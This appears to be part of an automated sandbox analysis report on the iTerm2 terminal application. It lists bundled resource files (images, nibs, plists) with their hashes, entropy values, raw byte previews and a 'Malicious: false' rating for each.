Preview:	icns..l.TOC ...0is32...Fs8mk....ic11....ic07....ic13..Esis32...F..............rJ.D.Jr.....j........j....?..........?....8..........8....7..........7....4.........4....1.......1.......................................>.......>....j;%.!.%;j...........................RKK.L.S......w.......,..w....D.m:],.....E....>.oM`,.....?....<.7(<$.....<....8.........8....5.......4....1.......1....,.......,...............?.......?....j;# .!. #;j.....................VNPP.N.V......z..........z....G. ....!.#.F....A........!.A....=. ......!.=....:.!. ...!.:....5.!...!.5....2.!...!.2......!...!......+.#.!.#.+....?.......?....j;# .!. #;j............s8mk........................#))))))#......&..........&................... ............ ..$............$..$............$..$............$..$............$..$............$..$............$...................................)..........).......&&&&&&.....................ic11.....PNG........IHDR... ... .....szz.....gAMA......a.... cHRM..z&..............u0...`..:....p.

/Applications/iTerm.app/Contents/Resources/Assets.car Download File
Process:	/Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2
File Type:	Mac OS X bill of materials (BOM) file
Category:	dropped
Size (bytes):	206056
Entropy (8bit):	7.565528074034433
Encrypted:	false
SSDEEP:	3072:r/pvaxgVL8F8CzOfUo6LZSo6LZtEV8Yo+H8X0lQJ5uIhdwNDpnMvmcjUaxgVL8F2:Jlnuiw8Yp3e5ThdwNYmRln
MD5:	DF92CFEB7A43641B88C27BB553E83B25
SHA1:	AB85C6392C9D26536D3FE195C5F969CDD8912E66
SHA-256:	1D569588ADE1425215FCB0BD43AD2C598D93D67EE3E4441D043C88188856D024
SHA-512:	FC014129C242494E90941A2E59EDFBE817FB5BF1C918DB94E2284B35D87A611B9AD1469A6CC080B479A1F5F42012470A8C1489CDEBC2B257368F0C922E30C1B9
Malicious:	false
Reputation:	low
Preview:	BOMStore.......&...........`...b................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................RATC................@(#)PROGRAM:CoreUI PROJECT:CoreUI-692.1........................................................................................Xcode 12.5 (12E262) via ibtoold.............................................................................................................................................................................................................................................................................tree....................(...............

/Applications/iTerm.app/Contents/Resources/Autocomplete.nib/keyedobjects-101400.nib Download File
Process:	/Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2
File Type:	Apple binary property list
Category:	dropped
Size (bytes):	15941
Entropy (8bit):	6.797770425356055
Encrypted:	false
SSDEEP:	384:igE3p0tlt+OltcwRUYNg7i5lUSYNg7EN6Lv8q:igEZ0tlNRUYyGUSYyoe7
MD5:	A0DE9127C56BA571D84517365FB4F9CF
SHA1:	C755314F9DA7FED7C83CBDE84CF3C82BDF19D126
SHA-256:	6274F04BC71C9049DC493FB5C91402D13715D076D331FAB5FA473DEA6D08820D
SHA-512:	C44501E6EBE833BB7A73FAE5E746A7B3BA2D2156151E2A1F405A499EC14E8E9175DD2797467744F4E51318343FFA3C942F23E732220E2B47502BC18E89E07299
Malicious:	false
Reputation:	low
Preview:	bplist00.................X$versionY$archiverT$topX$objects....._..NSKeyedArchiver........._..IB.systemFontUpdateVersion]IB.objectdata............%.+.3.4.;.>.B.F.N.X.........................................................$.%.&.-.5.6.:.@.J.K.P.U.V.[.`.a.c.f.j.p.t.u.z.{.....................................................#.$.%.).4.5.:.<.=.>.?.@.E.H.I.O.P.V.W.].j.n.:.s.t.............!..........................U$null.................................... ...".#.$VNSRoot]NSConnections\NSOidsValues_..NSObjectsValues]NSObjectsKeys_..NSAccessibilityOidsValues_..NSVisibleWindows_..NSAccessibilityOidsKeys_..NSAccessibilityConnectorsV$classZNSOidsKeys.....t.r.m...........s..&.'...(.).*[NSClassName_..IBClassReference........,.-....././.(.2\IBModuleName_..IBModuleProvider[IBClassName........_..AutocompleteView..5.6.7.8Z$classnameX$classes_..IBClassReference..9.:_..IBClassReferenceXNSObject..5.6.<.=^NSCustomObject..<.:..?...@.AZNS.objects.....5.6.C.D\NSMutableSet..C.E.:UNSSet..?...G.M..H.I.J.K.L...D.h

/Applications/iTerm.app/Contents/Resources/Autocomplete.nib/keyedobjects-110000.nib Download File
Process:	/Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2
File Type:	Apple binary property list
Category:	dropped
Size (bytes):	15916
Entropy (8bit):	6.788150659937595
Encrypted:	false
SSDEEP:	384:Cgo3p4bcBYQ/tUwRUYNg704JSYNg7w85jXZmJ:CgoZ4bcjRUYyxSYy1jmJ
MD5:	AB7107944E597DEFD9A0F57255CE8E96
SHA1:	6118F2A82D0DFE2AACF9D4299DCF5F87CB25847F
SHA-256:	32F7B13515BD42A449C4D5CC041F200B064A58F035996080FED8C605D87A98C4
SHA-512:	EB66F64BFBA6414D52F96A0F0EADE53B4CD2ED4593E0A5267874A16330C023EF2A127CC38F1A26690F899D18EA77F65CD9D5B02DF6EEE2C0592011A3D1A602A3
Malicious:	false
Reputation:	low
Preview:	bplist00.................X$versionY$archiverT$topX$objects....._..NSKeyedArchiver........._..IB.systemFontUpdateVersion]IB.objectdata............%.+.3.4.;.>.B.F.N.X.........................................................#.$.%.,.4.5.9.?.I.J.O.T.U.Z._.`.b.e.i.o.s.t.y.z.....................................................".#.$.(.3.4.9.;.<.=.>.?.D.G.H.N.O.U.V.\.i.m.:.r.s............. ..........................U$null.................................... ...".#.$VNSRoot]NSConnections\NSOidsValues_..NSObjectsValues]NSObjectsKeys_..NSAccessibilityOidsValues_..NSVisibleWindows_..NSAccessibilityOidsKeys_..NSAccessibilityConnectorsV$classZNSOidsKeys.....t.r.m...........s..&.'...(.).*[NSClassName_..IBClassReference........,.-....././.(.2\IBModuleName_..IBModuleProvider[IBClassName........_..AutocompleteView..5.6.7.8Z$classnameX$classes_..IBClassReference..9.:_..IBClassReferenceXNSObject..5.6.<.=^NSCustomObject..<.:..?...@.AZNS.objects.....5.6.C.D\NSMutableSet..C.E.:UNSSet..?...G.M..H.I.J.K.L...D.h

/Applications/iTerm.app/Contents/Resources/BackgroundStripes.tiff Download File
Process:	/Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2
File Type:	TIFF image data, big-endian
Category:	dropped
Size (bytes):	9244
Entropy (8bit):	7.20695984074674
Encrypted:	false
SSDEEP:	96:lVTU8KPQ1g3kXY9wy1QFo7sFN26MT0D5MdtbZPAVwzVz+cVPvOs4caGupN26MT0F:zTU/Z9z77YNMtKwnXaUYNMtKwy
MD5:	BF8C9027334CFD7681F3EAAD72DC6E53
SHA1:	B4BB38270EEC5C8152B4978AF9B1EC2AEB5465E3
SHA-256:	908D363E0D2122AD02C125DA232EF774AE9AE0536291A7541CAA567935A12ACF
SHA-512:	E7A306430467E95ECECC67CFC81E9AF130C95C32AE06AF9FEDE906989E25C394D9638373CABD607F0FE2608EB4936E8C15A779B1848DC1255E99A1A3DBB9AD22
Malicious:	false
Reputation:	low
Preview:	MM......?........BaP.d6...DbQ8.V-..FcQ...9..HdR9$.M'.. PID.]/.LfS8Tzi7.NgS....+.O(T:%..6.RiT.d....SjU:.V.H.VkU..>.Q.XlV8.b.g.Zb..u..o.V......l........}.`hw......Gq8.d....crX..O-...r9...+..he....MU...X.\|.K..P.;...['..wR...}i...;.%....pf<>G6...ti...3...u.X:.[.....S~.....x}..w....f=_....J.}q??..4.................0,....J..........$.B.......6......D.<F.D.Jq.E..V...._.F..f.F..I.G.dv.....#F..."....&..S.&J.l.....K.4.....%.J....LL...L.;.4..\S6.....NP..:.s.U<..........PT.cB.T;.D.M].....!H....J...0.SNu8.S..AP...kR...P..OMZ...Eb.U..-Z.5.-\.L.x.W.].`..B..=.=..Xp}..Y.]..Zl...Z........n....p.M.......u..$.sC...yJ...{K7.9}'.}.._.....X....8:a..K&.Sa.>!....[..X.4..v~9#...Cqdh.=...=...9^X.e..`.fY....9....N.....^...9.u.h.B..i....;.......U.kV[F.jz.s.lH=G...........3.^...{F...[..&n..Q.........K.p.d...).....?..#..(..hG'.......\|.S.H./C.3=B...WW[%...-..]gh..}.&.v..[./..{.)}.........k...y.W.m".......~......-....#>..:\|.$..,t...B?..V}..3.Vw..\|.......{Lz.<x.....v........c.p.=.A...`....-...i..<.n...<HD..$%x....x

/Applications/iTerm.app/Contents/Resources/BigArrow.tiff Download File
Process:	/Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2
File Type:	TIFF image data, big-endian
Category:	dropped
Size (bytes):	18112
Entropy (8bit):	7.660671269999884
Encrypted:	false
SSDEEP:	384:ZAG80f6PICM1+D+wYNg7s4CXZl10otWXiuwhQS3OscG9m7bCaoRGfAiHYNg7y:ZOIX+D+wYywjJ7RtWXilCmt9WGaoRGfa
MD5:	4D6CF8D24B551A5217E5899E450B0555
SHA1:	D8D7DA6D57DDF9C8CB36564C124D7F1A422DD984
SHA-256:	8E1531126A5C25F683F1DFE4CC62DFF9DE88B92293436186EBF8EB672B6B74B0
SHA-512:	7474704A67674021C2684A0279F0B7E1CA355E5642B495888FD4F4DC2B77334F677444B9979F3811647D4527B5694301B10428BC5E88808F8383084877D24644
Malicious:	false
Reputation:	low
Preview:	MM......?.@.$....BaP.d6...DbQ8.V-..FcQ..v=..HdR9$.M'.JeR.d.]/.LfS9..m7.Ng@...w?.PhT:%..G.RiT.e6.O.TjU:..{U.VkU..v._.XlV;%..g.A...e..o.\nW;...w.^b.......`pX<&....L...f7...drY<.W-....Y..w=..htZ8.gI..juZ.f.].....=..m..C.;.\....2.<;f....ry\.0.....`.8Fz..vj.n.w...xi....".... .#...z.T.^...5.}._.........".%.B.....N..!.t.....;..,.?0.5...........!...........\|".>h#..C.......u....A..."..E.P..A....Bg.+..q..)........~.H..S..1x......+....5..l..K2........E.\.&..{]5O...A..t.!!e2.. .2):..D[%BQ..B...1M...<..........3 .J..Q.<.H....KF..!MV..u].... ..... ..SU..,.I.S$.>.......A`.xD&...Ca...F...Eb.x.f5..Gc....E#.Id.yD.U+.Ke....e3.I.3u.... /........@.P3L.=.q..I...:..:] ...O.H._.I...c.Yd..5..k.[m.....s.]n.{..n......U..C..`Tx.&.K.Si...N.W...p*.F.y.gs..F.E..it.}F.U..ko7...}@.H...@....D....J...V+U..o]..X.<..G...uz.~.g_8.l......(..w{.~.....r....3_.}~.^............I3`......<.B..).. .8....90.0..0.9....A..Q.[........[....{..=.......c....y..... ..3..<K\|X.E..a....,.3R...GR..,.R.....$...+.....{.....-)....7.S..:...[0E.

/Applications/iTerm.app/Contents/Resources/BigSurAddTab.tiff Download File
Process:	/Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2
File Type:	TIFF image data, big-endian
Category:	dropped
Size (bytes):	7362
Entropy (8bit):	6.8215069438528095
Encrypted:	false
SSDEEP:	96:XXZ70nFQJN26MT0D5MdtbZPAVwzVLzTtou31N26MT0D5MdtbZPAVwzV0:F0dYNMtKw1todYNMtKwy
MD5:	0482559B37C5E0CE5862D753FF1B1F7D
SHA1:	2473F4B47C0841A7303FA1CD91E1F7CB93966A60
SHA-256:	4C5C84E3C45B2A53EFBDDDE8B07F9C052EC4DCBF480D7BBEEBF125FA7E5AB02D
SHA-512:	313F0DEC6A8BE5FC5BBB4A0035A3179DCF1BB084994705727A513E30A4255898B5F599414AF99C8CBB30FEA940D5A4F0B06FA7FDA147D61A5C17B84905A82CAB
Malicious:	false
Reputation:	low
Preview:	MM..........................................,...... P8$....BaP.d6...DbQ8.V-..FcQ..v=..HdR9$.M'.JeR.d.]/.LfS9..m7.NgS...}?.H..t...,....zd.....jR\|..S.Gj.:.f.......$N....mP.=..o..n.8e..3....x...{.Jn..&..\|.a...U.......\.N...Vs...o9..htZ=&.M..juZ.f.]..l`..........................,.............................................................,...........2.................................,...................................................(...........1.........@.=...........R...........S.........$.i...........s.....H...P...*................................BigSurAddTab@2x.png.tiffutil v326.1....HLino....mntrRGB XYZ .........1..acspMSFT....IEC sRGB.......................-HP ................................................cprt...P...3desc.......lwtpt........bkpt........rXYZ........gXYZ...,....bXYZ...@....dmnd...T...pdmdd........vued...L....view.......$lumi........meas.......$tech...0....rTRC...<....gTRC...<....bTRC...<....text....Copyright (c) 1998 Hewlett-Packard Company..desc........sRGB IEC

/Applications/iTerm.app/Contents/Resources/BroadcastInput.png Download File
Process:	/Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2
File Type:	PNG image, 41 x 33, 8-bit gray+alpha, non-interlaced
Category:	dropped
Size (bytes):	1909
Entropy (8bit):	7.392315102558067
Encrypted:	false
SSDEEP:	24:UC1hpunQWwjx82lY2T3gVAslyJ3VArH8Gep0givkifsO/metW9mu/Rtww3LFoY+S:nitNn2cuTJ3uL8t0NvkiBtu55GY+tkUk
MD5:	AFA3306E02755285434007E4A49B1229
SHA1:	7DB55B05D5F3326D5AAAD76598DA72FEF320FC97
SHA-256:	38BBAF9BEFEE024D17493C8E85AF5263DF8CDDC071491224C58914D2443F50B9
SHA-512:	02B3DA4706F32D87E0B1A2A1EAF5DBC53936AA7A005BA411B10B5345174375143E778C385754E573EE6789EBCF3FBF58FD365DBEA67BA7DF8ED0103889492AA8
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR...)...!......:J...."iTXtXML:com.adobe.xmp.....<?xpacket begin="..." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.0-c060 61.134777, 2010/02/12-17:32:00 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CS5 Macintosh" xmpMM:InstanceID="xmp.iid:3640DFD8B6E011E09C5E82ED90DA2584" xmpMM:DocumentID="xmp.did:3640DFD9B6E011E09C5E82ED90DA2584"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:3640DFD6B6E011E09C5E82ED90DA2584" stRef:documentID="xmp.did:3640DFD7B6E011E09C5E82ED90DA2584"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>7..(....tEXtSoftware.Adobe ImageReadyq.e<....IDATx^..M.,W..._.]U.}N.{M..@.........(....'.......S....D2....t.........r..F.onN........:..z......_.Z.Y....*.J(..

/Applications/iTerm.app/Contents/Resources/BrokenPipeDivider.png Download File
Process:	/Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2
File Type:	PNG image, 20 x 20, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1639
Entropy (8bit):	5.796044047744382
Encrypted:	false
SSDEEP:	48:V/6aMYLvnqknA9W2DrXNNMZ1y2/cHJ3HIF3MvHAU9AFi:VSPYzqknmWorgZ1b/iIqvHAUSs
MD5:	B12148BE234D1A1B6F16F4D05DCC4BC1
SHA1:	7BA84065FD1FA5EEFD26E10E45BBA5E0806E8706
SHA-256:	AC68A4E3EE1FF39C599C43AB7D8D01469F930537774E544D80DA0B2F02D55C2D
SHA-512:	DD8F09678CAA5A6F18E83C0380988004D52DE1632817E289FBB4161A98E3C5375B716BD36A47528803B381731ED70086FF562680BF6B1B361E1CA491A7649423
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR.....................pHYs.................iTXtXML:com.adobe.xmp.....<?xpacket begin="..." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c145 79.163499, 2018/08/13-16:40:22 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:stEvt="http://ns.adobe.com/xap/1.0/sType/ResourceEvent#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:photoshop="http://ns.adobe.com/photoshop/1.0/" xmpMM:OriginalDocumentID="xmp.did:FF7F117407206811822AAE3D4647D037" xmpMM:DocumentID="xmp.did:A3B22F2FF7F911E3BBD0B2F6EEC4C8DC" xmpMM:InstanceID="xmp.iid:2ac77b98-a159-43c1-a0c3-c52ffc469ae8" xmp:CreatorTool="Adobe Photoshop CS6 (Macintosh)" xmp:CreateDate="2019-12-16T21:54:10-08:00" xmp:ModifyDate="2020-02-29T09:47:15-08:00" xmp:MetadataDate="20

/Applications/iTerm.app/Contents/Resources/BulkCopyProfilePreferences.nib Download File
Process:	/Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2
File Type:	Apple binary property list
Category:	dropped
Size (bytes):	14742
Entropy (8bit):	6.7116215566675805
Encrypted:	false
SSDEEP:	192:S2u1WvQFoE0lzMjRUYNMtKwof+RLApPvC/h+YM8lvCNGijxtXkY:AgY+E01wRUYNg7of+GRSm8HiPUY
MD5:	31289268FAA8B8765E15183D54C9C69B
SHA1:	47B4D32357E91BE3005F12E6CC19C0E174258A21
SHA-256:	A2BAA8656EA9B0238304A757D45CB033D8E62B7D089152AC943B026E8E7354BA
SHA-512:	AAD40DF4EF041AF1B33536667442564DE0ABFB88EA01427057EA9DECFBDDFC36BC134E509DDABD8FC1E400C8FDBEA2854A0BA54546516F097816BC09CD517F84
Malicious:	false
Reputation:	low
Preview:	bplist00.................X$versionY$archiverT$topX$objects....._..NSKeyedArchiver........._..IB.systemFontUpdateVersion]IB.objectdata............%.+.3.4.;.>.B.F.a.k......................................................+./.0.3.4.5.8.;.<.B.S.T.U.`.a.b.c.i.x.y................................................................... .&.5.6.>.?.@.F.h.i.j.k.z.........................................................................1.5.:.:.;.=.Z...............\..............................................................................................U$null.................................... ...".#.$VNSRoot]NSConnections\NSOidsValues_..NSObjectsValues]NSObjectsKeys_..NSAccessibilityOidsValues_..NSVisibleWindows_..NSAccessibilityOidsKeys_..NSAccessibilityConnectorsV$classZNSOidsKeys........................&.'...(.).[NSClassName_..IBClassReference........,.-....././.(.2\IBModuleName_..IBModuleProvider[IBClassName........_.*BulkCopyProfilePreferencesWindowController..5.6.7.8Z$classnameX$classes_..

/Applications/iTerm.app/Contents/Resources/ChangeProfile.tiff Download File
Process:	/Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2
File Type:	TIFF image data, big-endian
Category:	dropped
Size (bytes):	15760
Entropy (8bit):	6.961698751238013
Encrypted:	false
SSDEEP:	384:D+m0ZwS4OMNNwRUYNg7kiSPkxwRUYNg7y:DQZwmYGRUYymkKRUYyu
MD5:	ECCE761BC31537F4A350FA9C1B7BB3DC
SHA1:	B426FF99F9D2B930BE562D8B14485253390805EA
SHA-256:	ECFEF67EF1B4737B45D7321AF692DC7B7F8319EAC03639D0C074F69FD6646317
SHA-512:	2B2075F2C1474F812DF05B69160067C5CBDCBF873476762992C859E6C61652FB4C175D72CFC31C4E93EFA20A1AFDB7760360DC445CF2A89B9484B83ABFC9C825
Malicious:	false
Reputation:	low
Preview:	MM....F.. P8$....BaP.d4...........r.. ..6=..HdR9$.........R[......KL.v..$....}?....0.6..5...ze6.MJ. S@.B....j..E..b....\......4.e......F ..[&j...h.\|.t..pV....S.$.........d.......9@...v...........E.. ...V...(.<....ig.T..t....h.0...(.6a.5..].........$w...`..........,..c...s.......@............... ..j..:D....."..`.' ....!D .=....$ ...6..j.y.......cP........\|J....zF......H!..;..._...................G2.!Z......$....!k(......<..9.......#.....!:r....r6....s..c..#..~.&N2Y-...g...L....(.Ic0.@)...g..... .C...H... o..NP.U.........R...... ..@.....5$0'p.]H...5. .........( ...(-f..........H9A..6.B.\........;.,.....#v..p.......=..M.....P59h....+.I.0.B.P....S<....m.E....b...c...e E@.\|:..r.8R.1.............]..V..{..m.....#....e..i...M......n....bP.Nk[J..C.]B.....:..S..e....O...x..P..i.....J..k H.f.q.@...........c...h.....1..aH.....X.p..'.....4.I.{s.+..Tg..z@M..;EH>...I..PB...hc..c&.i....O..Kv...@>e...^(.j%..x.`<..-.%J./'.m..n.@...{.aL..@........Z..>pm.k.R...[X'.hZ.":..z\.@....h...G+..T.C.*...Te..!%

/Applications/iTerm.app/Contents/Resources/CheckMark.tiff Download File
Process:	/Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2
File Type:	TIFF image data, big-endian
Category:	dropped
Size (bytes):	10060
Entropy (8bit):	7.135528356001881
Encrypted:	false
SSDEEP:	192:suyk48+3YXx+yP3TavYNMtKwo6if+zAJtSsYNMtKwy:su0ngD/TavYNg75if+zAXSsYNg7y
MD5:	AF67679081EC19302258970A53A46836
SHA1:	69FC846C8A22FE10D8545B2A9B0E38F8F71664BA
SHA-256:	CC77C45C0E3D5A26B5A60600B7574D01D06287728D0A157DC35134370E4DEBE6
SHA-512:	7381C293F60890775E0442C5A9B8430A6BD98A8C7FC952B8D4B343E3FDA95CE68836FD290DD73D9EB4ACB9A3F293C7A76BDD6253BBED093919D49DB6DE26639E
Malicious:	false
Reputation:	low
Preview:	MM....... P8$...r...T..F.W..o6.....?...,v=..HdQ.......A.`.tFRj..f.<.[.q9\pU.y..1,.%8...6...B \.........GW.H....Y..x..N.x...l@.@..-@.4.......w.%...y.Zc(..p$..P..........{?..[.g-...c... .......{L.b`.`L(.4..\@.-..l.'M.T....dF^h@....R.q>....v...tj.@.....f...(X.]......%x@.2`M.#L.nW...&.4~~."...h..E.d.........@J..A....%...{.`..\|..@...n`..... ...`4/..Q....(......c...by.@....!....G.........l....D.k.......`..............XF...y.....r..d1.F.g.y...(y.Ap8.. .r.........,.ItJ...pQ.{..Q.....nY M.......o.@..}.....J......I......y...8y..(......\|..\|.EX...}..9.o...... .x.....t.@..s...^...`... .<c.&E.m...,N.......h... ...9...bI`P......V..P.4...vJ$...!......`......@.. .....I......w...... hx._7.N....0.:.(.A......!......@,.C..X.%....!R2....B..gY...&..w.u..s.....#'.o.gL...I...p........p<$.A.U....+7.Hp.......R).u.X....`.4..G@A..@.f...c+...7"........Y.!..2:x...\|i.NA.p......P...3H.....]^.......U.....hF...t.c..9..L.....N.1"....z.G.... .J~.J..k. .\..(Q.&...A..@....0.....Z.k#....Q.?G.....n...9.....h..!...... 8..

/Applications/iTerm.app/Contents/Resources/ChevronDown.tiff Download File
Process:	/Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2
File Type:	TIFF image data, big-endian
Category:	dropped
Size (bytes):	9114
Entropy (8bit):	7.113891297230514
Encrypted:	false
SSDEEP:	96:CD/Z8NcU3n/SnQ2/hN26MT0D5MdtbZPAVwzVLFMYftPyh2hv7N26MT0D5MdtbZP2:C2AQQQYNMtKwFFMYfEh2h+YNMtKwy
MD5:	ECFD22B29E8F1076D4A5FB51AEA79F9C
SHA1:	C1005CE6BC276D6C6CC2E36E14B353FFBAA630AB
SHA-256:	3DB84EC33D3065D782C9643DDC02851EF630F847CE144B28678AB0F03392F212
SHA-512:	C600A65FAFB6F472BF27E8723569BF31A7A17AB39F425C98DE70B0BBD85D5591F0090713CB98E3112BB86224B0236D80EBDA4A4678F68D817A97E4F9CD5CA168
Malicious:	false
Reputation:	low
Preview:	MM......?.@.$....BaP.d6...DbQ8......cQ..v=....R9$.M....R.d.Q..LfS8..i7.Ne....Y6.PhQ....G.Qi..d..M.Q.....aQ.I.p..............{E..X....4..N..F....OP@.v.\|.F...c..q.8...Y\.....`$.......P@...).5..uRX8...... .,...,.[.a...........3.X.P.^.......(x4.@..OS...U..e.`..,~P..h..\|..;_.q`5....g....-..o>.G...2.".Q.{.E.Xx..a.~..H.......-e.,4. ...<. <...... ...\|.......@...a.V..I......4K..q(g.g..............p.`.....J/............b2. ....qbO...iny.%yry..........!$r.=. .....(....(...,..}B..........b....I..........A.M..A...Pz...&B,3O...@...4...B0{...:..C.....XL....6..g....%i.F.FI.3...G;.....s.8.P#J,E/.b.. ........L... :.....Yi.zb...LX.$..{......j.V...(......,.-.$..b......t...e...G1....9.L.... A..g.!......@....Az1...... !..M......R0..%..@.....O.;...xi.$. i.+.`q...)...1m..@..!..,ak:........hD...2.=.C(&o..8.s.g.zK=......S.4..04\.....3@.../.....Y..............1Y&u.........}.......A(...........b.D..#...r.6..* ..".o....U .z}.g..G..z#..E.\x....z....?.S.x..$."..O..-%...e.`T+.P......F.1..........x........6G.4~..M..

/Applications/iTerm.app/Contents/Resources/Color Preset Touch Bar Icon.tiff Download File
Process:	/Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2
File Type:	TIFF image data, big-endian
Category:	dropped
Size (bytes):	11548
Entropy (8bit):	7.223726453918558
Encrypted:	false
SSDEEP:	192:8JpoTixCLZmq5aLGVOkQ2PNYNMtKw+r3uehbYNMtKwy:8JpTxGF52GPNYNg7NehbYNg7y
MD5:	87EB697A21C41403223850934EC02DE2
SHA1:	8D3BD7BE135125700121AF8D9FCF06FD0E6A4B05
SHA-256:	B35FA128B8A6060EF4B67669F72D68CE151CE9DE2220479E0A772AAC317F3A12
SHA-512:	0BDA0B45B6F0ADBD26831FE43F5B1D0357F991960D242479DDB86048E34CF9222E55EFFB289AC928D669666C33155E1FB79BAB87549307223E022774A99582CF
Malicious:	false
Reputation:	low
Preview:	MM....... P8$....BaP...._.._o.H......!..............tG@M.......a.9...i/.f......O..d......FD..h.H$...aw.."....u.....t.@`..vN.m<..........ly...w...EP.x........^L7!@..'..,.~.$.p\....>......Q.:....p.._.`J...z.c......O...7[.P...C.F.....p..F. .....@..:l.....@.........P'.....@.1.sN:.]I...K...=.........`.......E.G.\ @R.. l........:......C.......Dq... .......j#......1...OC...Lz.R.AP."...........P..C0...JP.6..'...#I./...L. o....h..x#.....&....h......<....\K...X3 P........J.d.....#.A.8..Dsb.M..\..D.-D.<..V..&.L3....}..J.pO.`)=...NQ.!..-.pt.D..T..R ...tB:.;.../K(.....D8.;.....H.91....R.SH.W....kU........&......B!......a..p..Q.Z:..'1......n.i..q....y...N...K........... A.6...J.u.t...L.M.n wQHs"...7...-G.8........4+.`.....#@ZD....Ld.n..h...`....X..`....H.f....X.. ....G.......w..LSK..EN=.(..x.H....@.....y....3...x..'I..%..&J..........U{ ...9.A.5B...,..@..Rx.M..;......a.d..#...t......n~.....s..E.....Z$...tU.~..}...#. h.N.$.`.......;GGD...1.dG.:.CH...j...T...+...L.z..../...P.....n.....Y../....

/Applications/iTerm.app/Contents/Resources/ColorPresets.plist Download File
Process:	/Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2
File Type:	XML document text
Category:	dropped
Size (bytes):	54005
Entropy (8bit):	4.533464766296584
Encrypted:	false
SSDEEP:	192:XsXN8NhE3lVyJY5EHERE3lVyJ8/bm0ofDvJxK0ofDvJxfmVtRfzv0:GLskyLmvUv0A
MD5:	D2B50F1C011AFBABD58AE862CF100437
SHA1:	977C559E54DE19BBD28179C7469847125D3944C6
SHA-256:	179A9A56335FEB738FC8630A82F9CA1A7161445B1044AE44A71894963B2B8217
SHA-512:	956587E7F07C122A8809C0C88D4EA1DBA260678A6E69A4E4B9B9B39D5173D71880C320CAA74223A45D8AEAF49C1CBB349A79F945A038D9537BEC8AB49BA647A1
Malicious:	false
Reputation:	low
Preview:	<?xml version="1.0" encoding="UTF-8"?>.<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">.<plist version="1.0">.<dict>. <key>Light Background</key>. <dict>. <key>Ansi 0 Color</key>. <dict>. <key>Blue Component</key>. <real>0.0</real>. <key>Green Component</key>. <real>0.0</real>. <key>Red Component</key>. <real>0.0</real>. </dict>. <key>Ansi 1 Color</key>. <dict>. <key>Blue Component</key>. <real>0.0</real>. <key>Green Component</key>. <real>0.0</real>. <key>Red Component</key>. <real>0.73333334922790527</real>. </dict>. <key>Ansi 10 Color</key>. <dict>. <key>Blue Component</key>. <real>0.3333333432674408</real>. <key>Green Component</key>. <real>1</real>. <key>Red Component</key>.

/Applications/iTerm.app/Contents/Resources/CommandHistoryPopup.nib/keyedobjects-101400.nib Download File
Process:	/Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2
File Type:	Apple binary property list
Category:	dropped
Size (bytes):	16305
Entropy (8bit):	6.805980527074394
Encrypted:	false
SSDEEP:	384:KYgh3pOMnBgevtcwRUYNg7g2q4YNg7aPZatbLZLt7qrR:nghZOMn1RUYyA4Yy+gR4t
MD5:	4E78A47CCED8B4619B6D1DC51B675094
SHA1:	2EC4B2295AA8680754C907B665BCD31E0B2D814F
SHA-256:	FB9D13ACE706B6D2585799A9927BC8B19EA523E252137883081ECCBE2C180FAC
SHA-512:	E3CF564530D1070D93EB44A3F92150A9A1EF6310C72B40D538D6E2BBCBFF202B74337B5C01681B518C2CE6F214765B0CC3036B6C07ACBB99B582941AC5747E73
Malicious:	false
Reputation:	low
Preview:	bplist00.................X$versionY$archiverT$topX$objects....._..NSKeyedArchiver........._..IB.systemFontUpdateVersion]IB.objectdata............%.+.3.4.;.>.B.F.N.X.........................................................%.&.'...6.7.;.A.K.L.Q.V.W.\.a.b.d.g.o.p.v.w.z...........................................................&.'.(.,.?.@.A.E.P.Q.V.X.Y.Z.[.\.a.d.e.k.l.r.s.y.....:................."..............................U$null.................................... ...".#.$VNSRoot]NSConnections\NSOidsValues_..NSObjectsValues]NSObjectsKeys_..NSAccessibilityOidsValues_..NSVisibleWindows_..NSAccessibilityOidsKeys_..NSAccessibilityConnectorsV$classZNSOidsKeys.....z.x.s...........y..&.'...(.).*[NSClassName_..IBClassReference........,.-....././.(.2\IBModuleName_..IBModuleProvider[IBClassName........_.#CommandHistoryPopupWindowController..5.6.7.8Z$classnameX$classes_..IBClassReference..9.:_..IBClassReferenceXNSObject..5.6.<.=^NSCustomObject..<.:..?...@.AZNS.objects.....5.6.C.D\NSMutableSet..C.

/Applications/iTerm.app/Contents/Resources/CommandHistoryPopup.nib/keyedobjects-110000.nib Download File
